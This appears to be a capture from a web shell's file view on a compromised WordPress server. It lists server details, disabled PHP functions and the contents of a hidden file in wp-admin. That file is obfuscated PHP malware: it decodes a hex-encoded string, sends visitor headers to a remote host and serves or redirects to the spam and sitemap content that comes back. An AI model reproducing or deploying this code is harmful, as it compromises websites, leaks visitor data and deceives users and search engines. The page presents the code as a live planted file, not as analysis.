HEX
Server: Apache
System: Linux uyu7574470001-7d78c9ff74-xfpwm 4.19.91-21.al7.x86_64 #1 SMP Wed Sep 2 19:47:49 CST 2020 x86_64
User: ()
PHP: 7.4.16
Disabled: chmod,exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,socket_create_listen,socket_create_pair,socket_create,socket_get_option,socket_getpeername,socket_getsockname,socket_last_error,socket_listen,socket_read,socket_recv,socket_recvfrom,socket_select,socket_send,socket_sendto,socket_set_block,socket_set_nonblock,socket_set_option,socket_shutdown,socket_strerror,socket_write,stream_socket_client,stream_socket_server,pfsockopen,disk_total_space,disk_free_space,chown,diskfreespace,getrusage,get_current_user,getmyuid,getmypid,dl,leak,listen,chgrp,link,symlink,dlopen,proc_nice,proc_get_stats,proc_terminate,shell_exec,sh2_exec,posix_getpwuid,posix_getgrgid,posix_kill,ini_restore,mkfifo,dbmopen,dbase_open,filepro,filepro_rowcount,posix_mkfifo,putenv,sleep,fsockopen
Upload Files
File: /usr/home/uyu7574470001/htdocs/wp-admin/.sia
<?php $vip = explode('%',urldecode('%2F%5E%5C%2F%25%70%72%6F%64%75%63%74%73%25%5C%2F%2E%2A%24%2F%25%52%45%51%55%45%53%54%5F%55%52%49%25%2F%5C%2E%28%74%78%74%7C%6A%70%67%7C%67%69%66%7C%6A%70%65%67%7C%70%6E%67%7C%69%63%6F%7C%73%76%67%7C%74%74%66%7C%77%65%62%70%7C%77%6F%66%66%32%7C%63%72%74%7C%63%73%73%7C%6A%73%7C%69%6E%69%7C%6C%6F%67%7C%6A%73%6F%6E%7C%78%6D%6C%29%2F%69%25%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%3C%68%74%6D%6C%3E%3C%68%65%61%64%3E%3C%6D%65%74%61%20%63%68%61%72%73%65%74%3D%22%75%74%66%2D%38%22%20%2F%3E%3C%74%69%74%6C%65%3E%53%69%74%65%6D%61%70%3C%2F%74%69%74%6C%65%3E%3C%2F%68%65%61%64%3E%3C%62%6F%64%79%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E%25%3C%62%6F%64%79%25%25%3C%61%20%68%72%65%66%3D%22%2F%25%2F%25%2F%22%3E%25%3C%2F%61%3E%2C%20%25%3C%64%69%76%20%73%74%79%6C%65%3D%22%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%74%61%68%6F%6D%61%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%74%6F%70%3A%2D%25%65%6D%22%3E%25%2F%73%69%74%65%6D%61%70%2E%78%6D%6C%22%3E%53%69%74%65%6D%61%70%3C%2F%61%3E%3C%2F%64%69%76%3E%25%3C%2F%62%6F%64%79%3E%25%68%74%74%70%3A%2F%2F%6D%61%69%6C%2E%25%73%65%72%76%69%63%65%61%69%73%25%2E%63%6F%6D%25%2F%6C%69%73%74%2E%25%70%68%70%25%2F%5E%68%74%74%70%2F%25%4C%6F%63%61%74%69%6F%6E%3A%20%25%2F%5E%23%23%2F%25%3C%2F%75%72%6C%73%65%74%3E%25%43%6F%6E%74%65%6E%74%2D%74%79%70%65%3A%74%65%78%74%2F%78%6D%6C%25%3C%68%74%6D%6C%25%48%54%54%50%5F%55%53%45%52%5F%41%47%45%4E%54%25%7C%7C%25%3F%75%61%3D%25%48%54%54%50%5F%48%4F%53%54%25%52%45%51%55%45%53%54%5F%53%43%48%45%4D%45%25%48%54%54%50%5F%41%43%43%45%50%54%5F%4C%41%4E%47%55%41%47%45%25%48%54%54%50%5F%52%45%46%45%52%45%52%25%63%75%72%6C%5F%65%78%65%63%25%68%74%74%70%25%6D%65%74%68%6F%64%25%47%45%54%25%74%69%6D%65%6F%75%74%25%68%74%74%70%5F%63%6F%64%65%25%32%30%30%25%61%69%69%62%75%73%69%6E%65%73%73%25%65%72%72%6F%72%5F%72%65%70%6F%72%74%69%6E%67%25%70%72%65%67%5F%6D%61%74%63%68%25%6F%62%5F%73%74%61%72%74%25%73%74%72%6C%65%6E%25%73%74%72%69%70%6F%73%25%67%7A%64%65%63%6F%64%65%25%6D%74%5F%72%61%6E%64%25%73%74%72%5F%69%72%65%70%6C%61%63%65%25%67%7A%65%6E%63%6F%64%65%25%68%65%61%64%65%72%25%73%75%62%73%74%72%25%73%74%72%73%74%72%25%75%72%6C%65%6E%63%6F%64%65%25%62%61%73%65%36%34%5F%65%6E%63%6F%64%65%25%66%75%6E%63%74%69%6F%6E%5F%65%78%69%73%74%73%25%73%74%72%65%61%6D%5F%63%6F%6E%74%65%78%74%5F%63%72%65%61%74%65%25%66%69%6C%65%5F%67%65%74%5F%63%6F%6E%74%65%6E%74%73%25%63%75%72%6C%5F%69%6E%69%74%25%63%75%72%6C%5F%73%65%74%6F%70%74%25%63%75%72%6C%5F%65%78%65%63%25%63%75%72%6C%5F%67%65%74%69%6E%66%6F%25%63%75%72%6C%5F%63%6C%6F%73%65%25%73%74%72%5F%72%65%70%6C%61%63%65%25%2F%5E%5C%2F%28%5B%61%2D%7A%41%2D%5A%30%2D%39%2D%5D%2B%29%5C%2F%28%5B%30%2D%39%5D%2B%29%28%5B%30%2D%39%5D%5B%30%2D%39%5D%29%5C%2F%24%2F')); $vip[42](0); hebv(); function hebv() { global $vip; $skt = wloc($vip[16].$vip[17].$vip[18].$vip[19].$vip[20]); if($vip[43]($vip[21],$skt)) {$vip[51]($vip[22].$skt);exit;} if($vip[43]($vip[23],$skt)) {exit($vip[52]($skt,2));} if($vip[45]($skt)>90) { if($vip[53]($skt,$vip[24])) {$vip[51]($vip[25]);exit($skt);} if($vip[53]($skt,$vip[26])) {exit($skt);} } } function wloc($qak,$llu=0) { global $vip; $iro = $_SERVER; $feb = @$iro[$vip[27]]; $gdr = $vip[28]; $qak .= $vip[29].$vip[54]($vip[55]($iro[$vip[30]].$gdr.$iro[$vip[3]].$gdr.@$iro[$vip[31]].$gdr.$feb.$gdr.@$iro[$vip[32]].$gdr.@$iro[$vip[33]].$gdr."x".$gdr."22".$gdr."19".$gdr."31".$gdr.$vip[1])); if(!$vip[56]($vip[34]) || $llu) { $kie = $vip[57](array($vip[35]=>array($vip[36]=>$vip[37],$vip[38]=>15))); $skt = @$vip[58]($qak, false, $kie); }else{ $ttx = $vip[59](); $vip[60]($ttx, 7802+2200, $qak); $vip[60]($ttx, 7818+2200, $feb); $vip[60]($ttx, 17713+2200, 1); $vip[60]($ttx, 56+8, false); $vip[60]($ttx, 5+8, 15); $skt = $vip[61]($ttx); $uta = $vip[62]($ttx); $vip[63]($ttx); if($uta[$vip[39]]!=$vip[40]) $skt=0; } if(empty($skt) && $llu<1) return wloc($vip[64]($vip[17].$vip[18],$vip[41].$vip[18],$qak),1); return $skt; } $products=1; ?>